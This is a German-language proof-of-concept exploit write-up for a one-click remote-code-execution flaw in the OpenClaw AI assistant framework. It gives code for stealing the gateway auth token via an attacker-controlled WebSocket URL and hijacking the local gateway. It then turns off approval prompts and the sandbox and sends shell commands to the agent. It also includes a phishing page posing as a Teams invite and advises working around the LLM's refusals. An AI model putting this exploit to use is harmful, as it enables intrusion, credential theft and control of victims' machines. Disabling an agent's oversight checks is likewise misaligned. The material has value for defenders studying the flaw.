
Proof-of-Concept-Exploit für CVE-2026-25253, das eine Remote-Codeausführung per Ein-Klick in OpenClaw durch Diebstahl von Authentifizierungstokens und Cross-Site-WebSocket-Hijacking demonstriert.
Betroffene Software: OpenClaw (clawbot) < v2026.1.29
CVE-ID: CVE-2026-25253
CVSS-Score: 8.8 (Hoch)
Auswirkung: Ein nicht authentifizierter Remote-Angreifer kann ein Authentifizierungstoken stehlen und Remote Code Execution auf dem Host des Opfers erreichen
RECHTLICHER HINWEIS: Dieser Code und dieser Bericht dienen ausschließlich autorisierten Sicherheitsforschungs- und Bildungszwecken. Die Verwendung dieses Exploits gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch.
OpenClaw, früher bekannt als Clawdbot und in frühen Versionen als Moltbot bezeichnet, ist ein KI-Assistenten-Framework, das lokal auf macOS, Windows oder Linux läuft. Es unterstützt cloudbasierte Modelle wie Anthropic und OpenAI sowie lokale Modelle.
Die Control UI ist eine Single-Page-Anwendung, die unter /chat bereitgestellt wird. Sie kommuniziert über WebSocket mit dem lokalen Gateway-Server unter ws://127.0.0.1:18789/ (bzw. wss://host:18789/ für TLS).
Wichtige Sicherheitsmerkmale der betroffenen Versionen:
localStorage gespeichertnoble-ed25519)type: "req", "res", "event")connect-FrameapplySettingsFromUrl()Die Schwachstelle befindet sich in applySettingsFromUrl() in der Control UI.
Wenn die Control UI geladen wird, liest diese Funktion den ?gatewayUrl=-Query-Parameter aus der URL und speichert ihn als aktiven Gateway-Endpunkt — ohne Validierung, ob dieser auf einen vertrauenswürdigen Host verweist.
Ein Angreifer kann einen Link wie den folgenden erstellen:
http://<target>/chat?gatewayUrl=ws://attacker.com
Wenn das Opfer auf diesen Link klickt, während es in OpenClaw authentifiziert ist, geschieht Folgendes automatisch:
applySettingsFromUrl() speichert ws://attacker.com als neue Gateway-URLconnect-Frame — einschließlich des Authentifizierungstokens, der Geräte-ID und des Ed25519-öffentlichen Schlüssels — an den Angreiferws://127.0.0.1:18789 erneut abIn diesem PoC hostet der Angreifer eine Seite (meeting.html), die die eigene Control UI des Opfers in einem Popup öffnet, injiziert mit dem bösartigen ?gatewayUrl=-Parameter:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
Der Server des Angreifers nutzt den Zwei-Token-Fallback von OpenClaw aus: Der erste connect-Versuch verwendet das Gerätetoken (Ed25519-gebunden, nicht wiederverwendbar). Durch dessen Ablehnung zwingt der Server die Control UI, es erneut mit dem Einstellungstoken zu versuchen — einem langlebigen Bearer-Token, das wiederverwendbar ist:
// Versuch #1 ablehnen → zwingt Control UI, es mit dem Einstellungstoken erneut zu versuchen
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// Versuch #2 → Einstellungstoken → ERFASST
capturedToken = token;
Mit dem gestohlenen Einstellungstoken öffnet meeting.html seine eigene direkte WebSocket-Verbindung zum echten Gateway (ws://127.0.0.1:18789). Dies ist möglich, weil das Gateway in Versionen < v2026.1.29 den Origin-Header nicht validiert — jede im Browser des Opfers geladene Seite kann sich damit verbinden.
// Alle Ausführungsgenehmigungs-Prompts deaktivieren
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// Container-Sandbox verlassen, Exec auf Host-Rechner umleiten
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
Der Inhalt des Nachrichtenfelds wird vom im Agenten konfigurierten LLM verarbeitet. Das bedeutet: Wenn das LLM den Inhalt als schädlich einstuft, führt es den Befehl nicht aus. Sie müssen kreativ sein, um die Sicherheitsmaßnahmen des LLM zu umgehen.
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executednpm install # installiert die 'ws'-Abhängigkeit
meeting.html konfigurierenconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // lokales Gateway des Opfers
const ATTACKER_WS_PORT = 8080; // muss mit attacker-server.js übereinstimmen
const COMMAND = 'touch /tmp/success';
node attacker-server.js
Senden Sie dem Opfer:
http://<ATTACKER_IP>:3000/meeting.html